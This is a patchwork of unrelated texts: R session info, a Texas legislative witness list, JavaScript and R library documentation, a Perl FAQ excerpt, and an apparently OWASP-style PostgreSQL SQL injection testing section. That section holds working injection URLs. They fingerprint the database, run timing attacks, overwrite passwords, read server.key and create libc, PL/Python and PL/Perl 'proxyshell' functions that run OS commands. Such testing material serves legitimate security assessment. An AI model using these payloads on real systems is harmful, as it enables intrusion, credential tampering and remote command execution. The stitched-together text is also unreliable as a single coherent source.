If you want to tryout yourself, you can checkout this post folder in my blog repository, and use the distraction-free version of the codes above inside the fit.R
script, which located inside the R
folder. I really recommend you to use your own dataset, so you could understand better about the workflow! :grin:
If you find any difficulties in trying this example, please let me know in the comment so I can help you :ok_hand:
Ok, as always, here’s a tidyverse
logo for you:
#> ⬢ __ _ __ . ⬡ ⬢ .
#> / /_(_)__/ /_ ___ _____ _______ ___
#> / __/ / _ / // / |/ / -_) __(_-</ -_)
#> \__/_/\_,_/\_, /|___/\__/_/ /___/\__/
#> ⬢ . /___/ ⬡ . ⬢
Session:
# session info
sessionInfo()
#> R version 3.5.2 (2018-12-20)
#> Platform: x86_64-pc-linux-gnu (64-bit)
#> Running under: Ubuntu 19.04
#>
#> Matrix products: default
#> BLAS: /usr/lib/x86_64-linux-gnu/blas/libblas.so.3.8.0
#> LAPACK: /usr/lib/x86_64-linux-gnu/lapack/liblapack.so.3.8.0
#>
#> locale:
#> [1] LC_CTYPE=en_US.UTF-8 LC_NUMERIC=C
#> [3] LC_TIME=en_US.UTF-8 LC_COLLATE=en_US.UTF-8
#> [5] LC_MONETARY=en_US.UTF-8 LC_MESSAGES=en_US.UTF-8
#> [7] LC_PAPER=en_US.UTF-8 LC_NAME=C
#> [9] LC_ADDRESS=C LC_TELEPHONE=C
#> [11] LC_MEASUREMENT=en_US.UTF-8 LC_IDENTIFICATION=C
#>
#> attached base packages:
#> [1] stats graphics grDevices utils datasets methods base
#>
#> other attached packages:
#> [1] forcats_0.4.0 stringr_1.4.0 readr_1.3.1 tidyverse_1.2.1
#> [5] yardstick_0.0.3 tibble_2.1.1 rsample_0.0.4 tidyr_0.8.3
#> [9] recipes_0.1.5 purrr_0.3.2 parsnip_0.0.2 infer_<IP_ADDRESS>
#> [13] ggplot2_3.1.1 dplyr_<IP_ADDRESS> dials_0.0.2 scales_1.0.0
#> [17] broom_0.5.2 tidymodels_0.0.2 magrittr_1.5 lubridate_1.7.4
#> [21] forecast_8.6
#>
#> loaded via a namespace (and not attached):
#> [1] readxl_1.3.1 backports_1.1.4
#> [3] tidytext_0.2.0 plyr_1.8.4
#> [5] igraph_<IP_ADDRESS> lazyeval_0.2.2
#> [7] splines_3.5.2 crosstalk_1.0.0
#> [9] SnowballC_0.6.0 rstantools_1.5.1
#> [11] inline_0.3.15 digest_0.6.18
#> [13] htmltools_0.3.6 rsconnect_0.8.13
#> [15] fansi_0.4.0 modelr_0.1.4
#> [17] gower_0.2.0 matrixStats_0.54.0
#> [19] tidyquant_0.5.6 xts_0.11-2
#> [21] tseries_0.10-46 prettyunits_1.0.2
#> [23] colorspace_1.4-1 rvest_0.3.3
#> [25] haven_2.1.0 xfun_0.6
#> [27] callr_3.2.0 crayon_1.3.4
#> [29] jsonlite_1.6 lme4_1.1-21
#> [31] survival_2.43-3 zoo_1.8-5
#> [33] glue_1.3.1 gtable_0.3.0
#> [35] ipred_0.9-9 pkgbuild_1.0.3
#> [37] Quandl_2.9.1 rstan_2.18.2
#> [39] timetk_<IP_ADDRESS> quantmod_0.4-14
#> [41] miniUI_<IP_ADDRESS> Rcpp_1.0.1
#> [43] xtable_1.8-4 stats4_3.5.2
#> [45] lava_1.6.5 StanHeaders_2.18.1
#> [47] prodlim_2018.04.18 DT_0.5
#> [49] htmlwidgets_1.3 httr_1.4.0
#> [51] threejs_0.3.1 pkgconfig_2.0.2
#> [53] loo_2.1.0 nnet_7.3-12
#> [55] utf8_1.1.4 labeling_0.3
#> [57] tidyselect_0.2.5 rlang_0.3.4
#> [59] reshape2_1.4.3 later_0.8.0
#> [61] cellranger_1.1.0 munsell_0.5.0
#> [63] tools_3.5.2 cli_1.1.0
#> [65] generics_0.0.2 ggridges_0.5.1
#> [67] evaluate_0.13 yaml_2.2.0
#> [69] processx_3.3.0 knitr_1.22
#> [71] nlme_3.1-137 mime_0.6
#> [73] rstanarm_2.18.2 xml2_1.2.0
#> [75] tokenizers_0.2.1 compiler_3.5.2
#> [77] bayesplot_1.6.0 shinythemes_1.1.2
#> [79] rstudioapi_0.10 curl_3.3
#> [81] tidyposterior_0.0.2 stringi_1.4.3
#> [83] ps_1.3.0 blogdown_0.11
#> [85] lattice_0.20-38 Matrix_1.2-15
#> [87] nloptr_1.2.1 markdown_0.9
#> [89] shinyjs_1.0 urca_1.3-0
#> [91] pillar_1.3.1 lmtest_0.9-36
#> [93] httpuv_1.5.1 R6_2.4.0
#> [95] bookdown_0.9 promises_1.0.1
#> [97] gridExtra_2.3 janeaustenr_0.1.5
#> [99] codetools_0.2-16 boot_1.3-20
#> [101] colourpicker_1.0 MASS_7.3-51.1
#> [103] gtools_3.8.1 assertthat_0.2.1
#> [105] withr_2.1.2 shinystan_2.5.0
#> [107] fracdiff_1.4-2 PerformanceAnalytics_1.5.2
#> [109] parallel_3.5.2 hms_0.4.2
#> [111] quadprog_1.5-5 grid_3.5.2
#> [113] rpart_4.1-13 timeDate_3043.102
#> [115] class_7.3-15 minqa_1.2.4
#> [117] rmarkdown_1.12 TTR_0.23-4
#> [119] pROC_1.14.0 tidypredict_0.3.0
#> [121] shiny_1.3.2 base64enc_0.1-3
#> [123] dygraphs_<IP_ADDRESS>


WITNESS LIST Licensing & Administrative Procedures Committee February 13, 2003-8:00A Board of Tax Prof. Examiners On: Montoya, David (Board of Tax Professional Examiners) Real Estate Research Center On: Richards, R Malcolm (Real Estate Research Center) State Bar of Texas On: Alvarado, Tony (State Bar of Texas) State Board of Plumbing Examiners On: Maxwell, Robert (Texas State Board of Plumbing Examiners) SOAH On: Taylor, Sheila Bailey (State Office of Administrative Hearings) Texas Lottery Commission On: Atkins, Billy (Charitable Bingo Division of Texas Lottery Commission) Grief, Gary (Texas Lottery Commission) Texas Racing Commission On: Flowerday, Paula (Texas Racing Commission) Texas Real Estate Cmsn On: Thorburn, Wayne (Texas Real Estate Commission) Tx. Appraiser & Lic. Cert. Board On: Liner, Renil (Tx. Appraiser & Licensing Certification Board) Tx. Board of Prof. Land Surveying On: Brooks, Jean (Texas Board of Professional Land Surveying) TABC On: Fox, Jeanne (Texas Alcoholic Beverage Commission) TDLR On: Kuntz, Jr., William (Texas Dept. of Licensing & Regulation)


Summary
In this section, some SQL Injection techniques for PostgreSQL will be discussed. These techniques have the following characteristics:
- PHP Connector allows multiple statements to be executed by using ; as a statement separator
- SQL Statements can be truncated by appending the comment char: --.
- LIMIT and OFFSET can be used in a SELECT statement to retrieve a portion of the result set generated by the query
From now on it is assumed that http://www.example.com/news.php?id=1 is vulnerable to SQL Injection attacks.
How to Test Identifying PostgreSQL
When a SQL Injection has been found, you need to carefully fingerprint the backend database engine. You can determine that the backend database engine is PostgreSQL by using the :: cast operator.
Examples:
http://www.example.com/store.php?id=1 AND 1::int=1
In addition, the function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.
Example:
http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--
An example of a banner string that could be returned is:
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
Blind Injection
For blind SQL injection attacks, you should take into consideration the following built-in functions:
- String Length LENGTH(str)
- Extract a substring from a given string SUBSTR(str,index,offset)
- String representation with no single quotes CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)
Starting at version 8.2, PostgreSQL introduced a built-in function, pg_sleep(n), to make the current session process sleep for n seconds. This function can be leveraged to execute timing attacks (discussed in detail at Blind SQL Injection).
In addition, you can easily create a custom pg_sleep(n) in previous versions by using libc:
- CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
Single Quote unescape
Strings can be encoded, to prevent single quotes escaping, by using chr() function.
- chr(n): Returns the character whose ASCII value corresponds to the number n
- ascii(n): Returns the ASCII value which corresponds to the character n
Let's say you want to encode the string 'root':
select ascii('r') 114 select ascii('o') 111 select ascii('t') 116
We can encode 'root' as:
chr(114)||chr(111)||chr(111)||chr(116)
Example:
http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--
Attack Vectors Current User
The identity of the current user can be retrieved with the following SQL SELECT statements:
SELECT user SELECT current_user SELECT session_user SELECT usename FROM pg_user SELECT getpgusername()
Examples:
http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL-- http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--
Current Database
The built-in function current_database() returns the current database name.
Example:
http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--
Reading from a file
PostgreSQL provides two ways to access a local file:
- COPY statement
- pg_read_file() internal function (starting from PostgreSQL 8.1)
COPY:
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the postgres user.

Examples:
- SELECT pg_read_file('server.key',0,1000);
Writing to a file
By reverting the COPY statement, we can write to the local file system with the postgres user rights
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
Shell Injection
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, and tcl.
Dynamic Library
Until PostgreSQL 8.1, it was possible to add a custom function linked with libc:
- CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
Since system returns an int how we can fetch results from system stdout?
Here's a little trick:
- create a stdout table CREATE TABLE stdout(id serial, system_out text)
- executing a shell command redirecting its stdout SELECT system('uname -a > /tmp/test')
- use a COPY statements to push output of previous command in stdout table COPY stdout(system_out) FROM '/tmp/test'
- retrieve output from stdout SELECT system_out FROM stdout
=
Example:
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- /store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT -- /store.php?id=1; SELECT system('uname -a > /tmp/test') -- /store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' -- /store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
plpython
PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user can do. It's not installed by default and can be enabled on a given database by CREATELANG
- Check if PL/Python has been enabled on a database: SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
- If not, try to enable: CREATE LANGUAGE plpythonu
- If either of the above succeeded, create a proxy shell function: CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
- Have fun with: SELECT proxyshell(os command);
Example:
- Create a proxy shell function: /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--
- Run an OS Command: /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
plperl
Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as open. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the postgres user, to avoid the so-called application mask filtering of trusted/untrusted operations.
- Check if PL/perl-untrusted has been enabled: SELECT count(*) FROM pg_language WHERE lanname='plperlu'
- If not, assuming that sysadm has already installed the plperl package, try : CREATE LANGUAGE plperlu
- If either of the above succeeded, create a proxy shell function: CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu
- Have fun with: SELECT proxyshell(os command);
Example:
- Create a proxy shell function: /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;
- Run an OS Command: /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
References


Scope
In javascript, scope is the way in which the program reads variables. In javascript if a variable is defined outside of a function, it is said to have global scope and can be read and used by any other part of the program. If a variable has local scope, then it means that a variable has been defined inside a function and it can only be used by the function in which it was defined.


--- layout: page title: About header-img: "img/about-bg.png" ---
Though dwelling in New York City now, Bangladeshi by birth.


Fragment is a sort of (browser) JavaScript templating toolkit.
A *fragment* is like a view, but is much more light-weight than
traditional templates. *Fragment templates* can be embedded in the
document (and other fragments) or live in separate files.
*Fragment templates* generate *fragments* which can be though of as
*instances of templates with local contexts*.
Each *fragment* is a regular jQuery object with some extra functionality, like
a local `context` (a javascript object which is exposed to the fragment Mustache
markup) and an `update` function which can be used to "redraw" the fragment if
the global or local context has changed.
You can grab the latest version from
[http://github.com/rsms/js-fragment](http://github.com/rsms/js-fragment)
## Introduction
Here's a simple fragment template:
Which we can create a new *fragment* instance of by calling the `fragment`
function and then add it to our document:
var frag = fragment('list', {
links: [
{href: "http://www.google.com/", title: "Google"},
{href: "http://www.bing.com/", title: "Bing"}
]
});
$('parent').append(frag);
Suppose the `parent` element was empty before, this is now what it contains:
Now, let's change the context and update the fragment:
frag.context.links.push({ href: "http://yahoo.com/", title: "Yahoo!" });
frag.update();
The content is now updated to reflect the most recent context:
### Including other fragments
Since *Fragment* is powered by [Mustache](http://mustache.github.com/)
we not only have markup and processing, but can also include other snippets,
called "partials".
Let's rewrite our list fragment and split up the list and the list item templates:
{\{#links}}
{\{>list-item}}
{\{/links}}
{\{#links}}
{\{>list-item}}
{\{/links}}
{\{title}}
When creating a fragment out of the `bulleted-list` or `numbered-list` template,
`{\{>list-item}}` tells Mustache to include the `list-item` fragment template.
The result from `bulleted-list` would be the same as before (in the previous
examples). Partials enables us to re-use fragment templates and stay
[DRY](http://en.wikipedia.org/wiki/Don't_repeat_yourself).
### Loading remote fragment templates
*Fragment* supports loading of templates in remote locations. Let's consider our
previous list and list item templates. Let's move the `bulleted-list` template
to a separate file called `bulleted-list.html`:
{\{#links}}
{\{>list-item}}
{\{/links}}
We keep the `list-item` in our document during this example. Now, as loading
remote resources obviously requires I/O and we must wait for it to complete, we
invoke `fragment` with a callback function:
var context = {
links: [
{href: "http://www.google.com/", title: "Google"},
{href: "http://www.bing.com/", title: "Bing"}
]
};
fragment('bulleted-list.html', context, function(err, frag){
if (err) throw err;
$('parent').append(frag);
});
The `bulleted-list.html` is loaded and a template is created and cached for
later, and finally a fragment instance is created and passed as the second
argument to our callback. The first argument to callbacks are always an error
(or a false value if there was no error).
Remote templates can include other templates using the `{\{>name}}` construct
since they are evaluated in the same execution context, technically speaking.
## Examples
{{#links}}
- [{{title}}{{^title}}{{href}}{{/title}}]({{href}})
{{#desc}}-- {{desc}}{{/desc}}
{{/links}}
## API
Overview:
{root}.context = {}
{root}.fragment(id [,context] [,asHTML[, noProcessing]] [,callback]) -> frag
{root}.fragment.tagName = "frag"
{root}.fragment.classPrefix = ""
{root}.fragment.preprocessors = {}
{root}.fragment.template(id [,callback(err, Template)]) -> Template
{root}.fragment.template.attrName = "fragment"
{root}.fragment.Template()
{root}.fragment.Template.prototype.id =
{root}.fragment.Template.prototype.head =
{root}.fragment.Template.prototype.body =
{root}.fragment.Template.prototype.tail =
{root}.fragment.Template.prototype.type =
{root}.fragment.Template.prototype.classname =
{root}.fragment.Template.prototype.createFragment([context,] [asHTML[,
noProcessing[, dontExpandMustacheUntouchables]]]) -> frag
{root}.fragment.Template.prototype.processFragment(html[, context[,
preMustached[, dontExpandMustacheUntouchables]]]) -> string
[jQuery frag].prototype.context = {}
[jQuery frag].prototype.template = Template
[jQuery frag].prototype.update()
By default, `{root}` is `window` (the outer JavaScript context in browsers), but
can be changed by modifying the last line in `fragment.js`.
### fragment(id [,context] [,asHTML[, noProcessing]] [,callback(err, frag)]) -> frag
Create a new fragment from template `id`.
Call style examples:
- `fragment("foo") -> frag`
-- Returns a new fragment jQuery object for template with id `foo`.
- `fragment("foo", {user:"john"}) -> frag`
-- Like above, but with a local context.
- `fragment("foo", {user:"john"}, function(err, frag) {...})`
-- Like above, but invokes a callback, passing the fragment when loaded. Will
try to GET the template if no template with id `foo` can be found.
- `fragment("foo", {user:"john"}, true) -> frag`
-- Returns a HTML string fragment of template `foo`
- `fragment("foo", true, true) -> frag`
-- Returns an unprocessed HTML string fragment of template `foo`
---
Fragment -- [http://github.com/rsms/js-fragment](http://github.com/rsms/js-fragment)


Simple line plots for the output of map_precisely()
. Use
dplyr::group_by()
to create multiple lines on the plot.
plot_sample_size(.df, xlab = "Sample Size", ylab = "Precision", line_size = 1) plot_precision(.df, xlab = "Precision", ylab = "Sample Size", line_size = 1) plot_upper_limit(.df, xlab = "Sample Size", ylab = "Upper Limit", line_size = 1)
| .df | a data frame with values to plot, possibly from |
|---|---|
| xlab | Label for the x-axis. |
| ylab | Label for the y-axis. |
| line_size | The width of the line. Default is 1. |
a ggplot
library(dplyr)#> #>#>#> #>#>#> #>library(ggplot2) map_precisely( n_risk_difference, precision = seq(from = .02, to = .20, by = .005), exposed = .4, unexposed = .3, group_ratio = 1 ) %>% plot_sample_size()map_precisely( precision_odds_ratio, n_cases = seq(from = 500, to = 1000, by = 10), exposed_cases = .6, exposed_controls = .4, group_ratio = 1:4 ) %>% group_by("Control/Case Ratio" = factor(group_ratio)) %>% plot_precision()map_precisely( upper_rate_ratio, upper_limit = seq(1.5, 2.5, by = .1), prob = seq(.50, .95, by = .05), exposed = .01, unexposed = .01, group_ratio = 1:4 ) %>% group_by("Probability" = factor(prob)) %>% plot_upper_limit(line_size = 1) + scale_color_viridis_d() + theme_precisely() + theme(legend.position = "right", strip.text = element_text(margin = margin(b = 5), hjust = 0)) + facet_wrap(~ group_ratio, labeller = as_labeller(function(x) paste("Unexposed/Exposed:", x)))


| PERLFAQ7(1) | Perl Programmers Reference Guide | PERLFAQ7(1) |
In the words of Chaim Frenkel: "Perl's grammar can not be reduced to BNF. The work of parsing perl is distributed between yacc, the lexer, smoke and mirrors."
$ for scalar values (number, string or reference) @ for arrays % for hashes (associative arrays) & for subroutines (aka functions, procedures, methods) * for all types of that symbol name. In version 4 you used them like pointers, but in modern perls you can just use references.
There are a couple of other symbols that you're likely to encounter that aren't really type specifiers:
<> are used for inputting a record from a filehandle. \ takes a reference to something.
Note that <FILE> is neither the type specifier for files nor the name of the handle. It is the "<>" operator applied to the handle FILE. It reads one line (well, record--see "$/" in perlvar) from the handle FILE in scalar context, or all lines in list context. When performing open, close, or any other operation besides "<>" on files, or even when talking about the handle, do not use the brackets. These are correct: "eof(FH)", "seek(FH, 0, 2)" and "copying from STDIN to FILE".
This is like this ------------ --------------- $foo{line} $foo{'line'} bar => stuff 'bar' => stuff
The final semicolon in a block is optional, as is the final comma in a list. Good style (see perlstyle) says to put them in except for one-liners:
if ($whoops) { exit 1 } my @nums = (1, 2, 3); if ($whoops) { exit 1; } my @lines = ( "There Beren came from mountains cold", "And lost he wandered under leaves", );
$dir = (getpwnam($user))[7];
Another way is to use undef as an element on the left-hand-side:
($dev, $ino, undef, undef, $uid, $gid) = stat($file);
You can also use a list slice to select only the elements that you need:
($dev, $ino, $uid, $gid) = ( stat($file) )[0,1,4,5];
{ no warnings; # temporarily turn off warnings $x = $y + $z; # I know these might be undef }
Additionally, you can enable and disable categories of warnings.  See perllexwarn for the complete details, including the category names and hierarchy.
{ no warnings 'uninitialized'; $x = $y + $z; }
If you have an older version of Perl, the $^W variable (documented in perlvar) controls runtime warnings for a block:
{ local $^W = 0; # temporarily turn off warnings $x = $y + $z; # I know these might be undef }
Note that like all the punctuation variables, you cannot currently use my() on $^W, only local().

Another operator with surprising precedence is exponentiation. It binds more tightly even than unary minus, making "-2**2" produce a negative four and not a positive one. It is also right-associating, meaning that "2**3**2" is two raised to the ninth power, not eight squared.
Although it has the same precedence as in C, Perl's "?:" operator produces an lvalue. This assigns $x to either $if_true or $if_false, depending on the trueness of $maybe:
($maybe ? $if_true : $if_false) = $x;
$person = {}; # new anonymous hash $person->{AGE} = 24; # set field AGE to 24 $person->{NAME} = "Nat"; # set field NAME to "Nat"
If you're looking for something a bit more rigorous, try perlootut.
ExtUtils::ModuleMaker and Module::Starter are also good places to start. Many CPAN authors now use Dist::Zilla to automate as much as possible.
Detailed documentation about modules can be found at: perlmod, perlmodlib, perlmodstyle.
If you need to include C code or C library interfaces use h2xs. h2xs will create the module distribution structure and the initial interface files. perlxs and perlxstut explain the details.
If you can not reach the author for some reason contact the PAUSE admins at<EMAIL_ADDRESS>who may be able to help, but each case is treated separately.
In Perl, a class is just a package, and methods are just subroutines. Perl doesn't get more formal than that and lets you set up the package just the way that you like it (that is, it doesn't set up anything for you).
See also perlootut, a tutorial that covers class creation, and perlobj.
Closure is a computer science term with a precise but hard-to-explain meaning. Usually, closures are implemented in Perl as anonymous subroutines with lasting references to lexical variables outside their own scopes. These lexicals magically refer to the variables that were around when the subroutine was defined (deep binding).
Closures are most often used in programming languages where you can have the return value of a function be itself a function, as you can in Perl. Note that some languages provide anonymous functions but are not capable of providing proper closures: the Python language, for example. For more information on closures, check out any textbook on functional programming. Scheme is a language that not only supports but encourages closures.
Here's a classic non-closure function-generating function:
sub add_function_generator { return sub { shift() + shift() }; } my $add_sub = add_function_generator(); my $sum = $add_sub->(4,5); # $sum is 9 now.
The anonymous subroutine returned by add_function_generator() isn't technically a closure because it refers to no lexicals outside its own scope. Using a closure gives you a function template with some customization slots left out to be filled later.
Contrast this with the following make_adder() function, in which the returned anonymous function contains a reference to a lexical variable outside the scope of that function itself. Such a reference requires that Perl return a proper closure, thus locking in for all time the value that the lexical had when the function was created.
sub make_adder { my $addpiece = shift; return sub { shift() + $addpiece }; } my $f1 = make_adder(20); my $f2 = make_adder(555);
Now "$f1->($n)" is always 20 plus whatever $n you pass in, whereas "$f2->($n)" is always 555 plus whatever $n you pass in. The $addpiece in the closure sticks around.
Closures are often used for less esoteric purposes. For example, when you want to pass in a bit of code into a function:
my $line; timeout( 30, sub { $line = <STDIN> } );
If the code to execute had been passed in as a string, '$line = <STDIN>', there would have been no way for the hypothetical timeout() function to access the lexical variable $line back in its caller's scope.
Another use for a closure is to make a variable private to a named subroutine, e.g. a counter that gets initialized at creation time of the sub and can only be modified from within the sub. This is sometimes used with a BEGIN block in package files to make sure a variable doesn't get meddled with during the lifetime of the package:
BEGIN { my $id = 0; sub next_id { ++$id } }
This is discussed in more detail in perlsub; see the entry on Persistent Private Variables.
Variable suicide is when you (temporarily or permanently) lose the value of a variable. It is caused by scoping through my() and local() interacting with either closures or aliased foreach() iterator variables and subroutine arguments. It used to be easy to inadvertently lose a variable's value this way, but now it's much harder. Take this code:
my $f = 'foo'; sub T { while ($i++ < 3) { my $f = $f; $f .= "bar"; print $f, "\n" } } T; print "Finally $f\n";
If you are experiencing variable suicide, that "my $f" in the subroutine doesn't pick up a fresh copy of the $f whose value is 'foo'. The output shows that inside the subroutine the value of $f leaks through when it shouldn't, as in this output:
foobar foobarbar foobarbarbar Finally foo
The $f that has "bar" added to it three times should be a new $f "my $f" should create a new lexical variable each time through the loop. The expected output is:
foobar foobar foobar Finally foo
func( \$some_scalar ); func( \@some_array ); func( [ 1 .. 10 ] ); func( \%some_hash ); func( { this => 10, that => 20 } ); func( \&some_func ); func( sub { $_[0] ** $_[1] } );
open my $fh, $filename or die "Cannot open $filename! $!"; func( $fh ); sub func { my $passed_fh = shift; my $line = <$passed_fh>; }
Before Perl 5.6, you had to use the *FH or "\*FH" notations. These are "typeglobs"--see "Typeglobs and Filehandles" in perldata and especially "Pass by Reference" in perlsub for more information.
sub compare { my ($val1, $regex) = @_; my $retval = $val1 =~ /$regex/; return $retval; } $match = compare("old McDonald", qr/d.*D/i);
call_a_lot(10, $some_obj, "methname") sub call_a_lot { my ($count, $widget, $trick) = @_; for (my $i = 0; $i < $count; $i++) { $widget->$trick(); } }
Or, you can use a closure to bundle up the object, its method call, and arguments:
my $whatnot = sub { $some_obj->obfuscate(@args) }; func($whatnot); sub func { my $code = shift; &$code(); }
You could also investigate the can() method in the UNIVERSAL class (part of the standard perl distribution).
In Perl 5.10, declare the variable with "state". The "state" declaration creates the lexical variable that persists between calls to the subroutine:
sub counter { state $count = 1; $count++ }
You can fake a static variable by using a lexical variable which goes out of scope. In this example, you define the subroutine "counter", and it uses the lexical variable $count. Since you wrap this in a BEGIN block, $count is defined at compile-time, but also goes out of scope at the end of the BEGIN block. The BEGIN block also ensures that the subroutine and the value it uses is defined at compile-time so the subroutine is ready to use just like any other subroutine, and you can put this code in the same place as other subroutines in the program text (i.e. at the end of the code, typically). The subroutine "counter" still has a reference to the data, and is the only way you can access the value (and each time you do, you increment the value). The data in chunk of memory defined by $count is private to "counter".
BEGIN { my $count = 1; sub counter { $count++ } } my $start = counter(); .... # code that calls counter(); my $end = counter();
In the previous example, you created a function-private variable because only one function remembered its reference. You could define multiple functions while the variable is in scope, and each function can share the "private" variable. It's not really "static" because you can access it outside the function while the lexical variable is in scope, and even create references to it. In this example, "increment_count" and "return_count" share the variable. One function adds to the value and the other simply returns the value. They can both access $count, and since it has gone out of scope, there is no other way to access it.
BEGIN { my $count = 1; sub increment_count { $count++ } sub return_count { $count } }
To declare a file-private variable, you still use a lexical variable. A file is also a scope, so a lexical variable defined in the file cannot be seen from any other file.
See "Persistent Private Variables" in perlsub for more information. The discussion of closures in perlref may help you even though we did not use anonymous subroutines in this answer. See "Persistent Private Variables" in perlsub for details.
"my($x)" creates a new variable that is only visible in the current subroutine. This is done at compile-time, so it is called lexical or static scoping. my() always affects private variables, also called lexical variables or (improperly) static(ly scoped) variables.
For instance:
sub visible { print "var has value $var\n"; } sub dynamic { local $var = 'local'; # new temporary value for the still-global visible(); # variable called $var } sub lexical { my $var = 'private'; # new private variable, $var visible(); # (invisible outside of sub scope) } $var = 'global'; visible(); # prints global dynamic(); # prints local lexical(); # prints global
Notice how at no point does the value "private" get printed. That's because $var only has that value within the block of the lexical() function, and it is hidden from the called subroutine.
In summary, local() doesn't make what you think of as private, local variables. It gives a global variable a temporary value. my() is what you're looking for if you want private variables.
See "Private Variables via my()" in perlsub and "Temporary Values via local()" in perlsub for excruciating details.
use vars '$var'; local $var = "global"; my $var = "lexical"; print "lexical is $var\n"; print "global is $main::var\n";
Alternatively you can use the compiler directive our() to bring a dynamic variable into the current lexical scope.
require 5.006; # our() did not exist before 5.6 use vars '$var'; local $var = "global"; my $var = "lexical"; print "lexical is $var\n"; { our $var; print "global is $var\n"; }
To enforce scalar context in this particular case, however, you need merely omit the parentheses:
local($foo) = <$fh>; # WRONG local($foo) = scalar(<$fh>); # ok local $foo = <$fh>; # right
You should probably be using lexical variables anyway, although the issue is the same here:
my($foo) = <$fh>; # WRONG my $foo = <$fh>; # right
If you want to override a predefined function, such as open(), then you'll have to import the new definition from a different module. See "Overriding Built-in Functions" in perlsub.
If you want to overload a Perl operator, such as "+" or "**", then you'll want to use the "use overload" pragma, documented in overload.
If you're talking about obscuring method calls in parent classes, see "Overriding methods and method resolution" in perlootut.
Calling a subroutine as &foo with no trailing parentheses ignores the prototype of "foo" and passes it the current value of the argument list, @_. Here's an example; the "bar" subroutine calls &foo, which prints its arguments list:
sub foo { print "Args in foo are: @_\n"; } sub bar { &foo; } bar( "a", "b", "c" );
When you call "bar" with arguments, you see that "foo" got the same @_:
Args in foo are: a b c
Calling the subroutine with trailing parentheses, with or without arguments, does not use the current @_. Changing the example to put parentheses after the call to "foo" changes the program:
sub foo { print "Args in foo are: @_\n"; } sub bar { &foo(); } bar( "a", "b", "c" );
Now the output shows that "foo" doesn't get the @_ from its caller.
Args in foo are:
However, using "&" in the call still overrides the prototype of "foo" if present:
sub foo ($$$) { print "Args infoo are: @_\n"; } sub bar_1 { &foo; } sub bar_2 { &foo(); } sub bar_3 { foo( $_[0], $_[1], $_[2] ); } # sub bar_4 { foo(); } # bar_4 doesn't compile: "Not enough arguments for main::foo at ..." bar_1( "a", "b", "c" ); # Args in foo are: a b c bar_2( "a", "b", "c" ); # Args in foo are: bar_3( "a", "b", "c" ); # Args in foo are: a b c
The main use of the @_ pass-through feature is to write subroutines whose main job it is to call other subroutines for you. For further details, see perlsub.
The general answer is to use a CPAN module such as Switch::Plain:
use Switch::Plain; sswitch($variable_holding_a_string) { case 'first': { } case 'second': { } default: { } }
or for more complicated comparisons, "if-elsif-else":
for ($variable_to_test) { if (/pat1/) { } # do something elsif (/pat2/) { } # do something else elsif (/pat3/) { } # do something else else { } # default }
Here's a simple example of a switch based on pattern matching, lined up in a way to make it look more like a switch statement. We'll do a multiway conditional based on the type of reference stored in $whatchamacallit:
SWITCH: for (ref $whatchamacallit) { /^$/ && die "not a reference"; /SCALAR/ && do { print_scalar($$ref); last SWITCH; }; /ARRAY/ && do { print_array(@$ref); last SWITCH; }; /HASH/ && do { print_hash(%$ref); last SWITCH; }; /CODE/ && do { warn "can't print function ref"; last SWITCH; }; # DEFAULT warn "User defined type skipped"; }
See perlsyn for other examples in this style.
Sometimes you should change the positions of the constant and the variable. For example, let's say you wanted to test which of many answers you were given, but in a case-insensitive way that also allows abbreviations. You can use the following technique if the strings all start with different characters or if you want to arrange the matches so that one takes precedence over another, as "SEND" has precedence over "STOP" here:
chomp($answer = <>); if ("SEND" =~ /^\Q$answer/i) { print "Action is send\n" } elsif ("STOP" =~ /^\Q$answer/i) { print "Action is stop\n" } elsif ("ABORT" =~ /^\Q$answer/i) { print "Action is abort\n" } elsif ("LIST" =~ /^\Q$answer/i) { print "Action is list\n" } elsif ("EDIT" =~ /^\Q$answer/i) { print "Action is edit\n" }
A totally different approach is to create a hash of function references.
my %commands = ( "happy" => \&joy, "sad", => \&sullen, "done" => sub { die "See ya!" }, "mad" => \&angry, ); print "How are you? "; chomp($string = <STDIN>); if ($commands{$string}) { $commands{$string}->(); } else { print "No such command: $string\n"; }
